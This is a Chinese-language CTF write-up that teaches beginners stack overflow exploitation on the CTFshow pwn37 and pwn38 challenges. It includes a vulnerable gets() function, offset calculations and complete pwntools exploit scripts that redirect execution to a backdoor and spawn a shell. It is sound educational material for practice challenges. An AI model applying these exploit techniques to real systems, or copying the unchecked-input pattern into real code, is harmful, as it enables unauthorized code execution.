CTFshow PWN入门实战:手把手教你用Python Pwntools搞定pwn37/pwn38栈溢出(附完整exp)
CTFshow PWN入门实战:从零开始掌握栈溢出与Python Pwntools
在CTF竞赛中,PWN题型往往是最能体现技术实力的部分之一。对于初学者来说,栈溢出是最基础也最经典的漏洞类型。本文将以CTFshow平台的pwn37和pwn38两道题目为例,手把手教你如何从零开始完成栈溢出攻击,特别适合刚接触二进制安全的新手学习。
1. 环境准备与基础知识
在开始实战之前,我们需要准备好必要的工具和环境。对于PWN题目,最基本的工具链包括:
- Linux环境:推荐使用Ubuntu 18.04/20.04 LTS
- Python 3:用于编写exp脚本
- Pwntools:Python的漏洞利用开发库
- GDB:GNU调试器,用于动态调试
- IDA Pro/Ghidra:反汇编工具,用于静态分析
安装Pwntools非常简单,只需执行以下命令:
pip install pwntools栈溢出的基本原理是:当程序向栈上的缓冲区写入数据时,没有正确检查输入长度,导致数据覆盖了栈上的其他重要信息,如返回地址。通过精心构造输入,我们可以控制程序的执行流程。
2. pwn37解题详解:32位栈溢出实战
2.1 初步分析
首先,我们需要检查目标程序的基本信息:
checksec pwn37输出可能类似于:
[*] '/path/to/pwn37' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)这表明这是一个32位程序,没有栈保护(No canary),NX保护开启(栈不可执行),没有地址随机化(No PIE)。
2.2 静态分析
使用IDA Pro打开pwn37,分析main函数和关键函数。在本题中,我们发现存在一个名为ctfshow的函数,其中存在明显的栈溢出漏洞:
int ctfshow() { char buf[10]; // 缓冲区大小不足 gets(buf); // 不安全的输入函数 return 0; }通过分析栈布局,可以确定从buf到返回地址的偏移量。在32位程序中,通常需要考虑:
- buf到ebp的距离
- ebp本身占4字节
- 然后是返回地址
在本题中,buf到ebp的距离是0x12(18字节),加上4字节的ebp,总共需要22字节才能覆盖到返回地址。
2.3 寻找后门函数
幸运的是,这个程序中存在一个后门函数backdoor(),它直接调用了system("/bin/sh")。我们可以通过IDA的字符串搜索功能(Shift+F12)找到/bin/sh字符串,然后追踪其引用找到后门函数地址:0x8048521。
2.4 编写exp
下面是完整的exp代码:
from pwn import * context.log_level = 'debug' p = remote('pwn.challenge.ctf.show', 28146) payload = b'a'*(0x12 + 4) # 填充buf和ebp payload += p32(0x8048521) # 覆盖返回地址为backdoor函数地址 p.sendline(payload) p.interactive()这段代码做了以下几件事:
- 建立与远程服务的连接
- 构造payload:先用垃圾数据填充缓冲区,然后用后门函数地址覆盖返回地址
- 发送payload并获取交互式shell
2.5 常见问题排查
新手在尝试时可能会遇到以下问题:
- 连接失败:检查网络连接和题目端口是否正确
- exp不工作:确认偏移量计算是否正确,地址是否准确
- 权限问题:确保exp文件有执行权限(chmod +x exp.py)
3. pwn38解题详解:64位栈溢出差异
3.1 64位与32位的区别
64位程序的栈溢出与32位有几个关键区别:
- 寄存器大小变为8字节(rbp占8字节)
- 函数调用约定不同:前六个参数通过寄存器传递
- 可能需要处理堆栈对齐问题
3.2 题目分析
检查pwn38的保护机制:
checksec pwn38输出可能显示这是一个64位程序(Arch: amd64-64-little)。通过IDA分析,我们发现:
- buf到rbp的距离是0xA(10字节)
- 同样存在后门函数backdoor(),地址是0x400657
- 需要覆盖8字节的rbp,然后才是返回地址
3.3 堆栈平衡问题
64位程序中,我们需要特别注意堆栈平衡。当调用函数时,栈指针(rsp)需要16字节对齐。因此,我们需要在payload中添加一个额外的返回地址来保持对齐。
有两种常见解决方案:
- 使用后门函数中的一个ret指令地址(如0x40065B)
- 使用后门函数末尾的retn地址(0x40066D)
3.4 编写exp
第一种方案(使用ret gadget):
from pwn import * context.log_level = 'debug' p = remote('pwn.challenge.ctf.show', 28189) payload = b'a'*(0xA + 8) # 填充buf和rbp payload += p64(0x40065B) # ret gadget,用于堆栈对齐 payload += p64(0x400657) # backdoor函数地址 p.sendline(payload) p.interactive()第二种方案(使用函数末尾的retn):
from pwn import * context.log_level = 'debug' p = remote('pwn.challenge.ctf.show', 28189) payload = b'a'*(0xA + 8) # 填充buf和rbp payload += p64(0x40066D) # 函数末尾的retn地址 payload += p64(0x400657) # backdoor函数地址 p.sendline(payload) p.interactive()两种方案都能成功获取shell,体现了64位栈溢出的灵活性。
4. 进阶技巧与扩展学习
掌握了基础栈溢出后,可以进一步学习以下内容:
4.1 ROP(Return-Oriented Programming)
当没有现成的后门函数时,可以通过ROP链构造系统调用。基本步骤:
- 寻找gadget(pop rdi; ret等)
- 设置参数(如将"/bin/sh"地址放入rdi)
- 调用system函数
4.2 泄露libc地址
当ASLR开启时,可以通过内存泄露获取libc基地址,然后计算system等函数的实际地址。
4.3 工具推荐
- ROPgadget:自动搜索gadget
- one_gadget:查找直接获取shell的gadget
- LibcSearcher:根据泄露的地址查找libc版本
4.4 练习建议
建议从易到难尝试以下题目:
- CTFshow pwn36-pwn40系列
- PicoCTF的简单pwn题
- XCTF高校战队的入门题
5. 总结与实战心得
通过pwn37和pwn38两道题目,我们系统学习了:
- 32位和64位栈溢出的基本区别
- 如何计算偏移量
- 如何定位和利用后门函数
- 64位程序中的堆栈对齐问题
- 使用pwntools编写exp的基本方法
在实际操作中,我发现以下几点特别重要:
- 精确计算偏移:一个字节的偏差都可能导致失败
- 注意字节序:p32/p64的使用要正确
- 多尝试不同方案:如pwn38的两种解法
- 善用调试工具:GDB的cyclic pattern可以帮助定位崩溃点
最后,建议初学者多动手实践,从简单题目开始,逐步构建自己的漏洞利用思维。
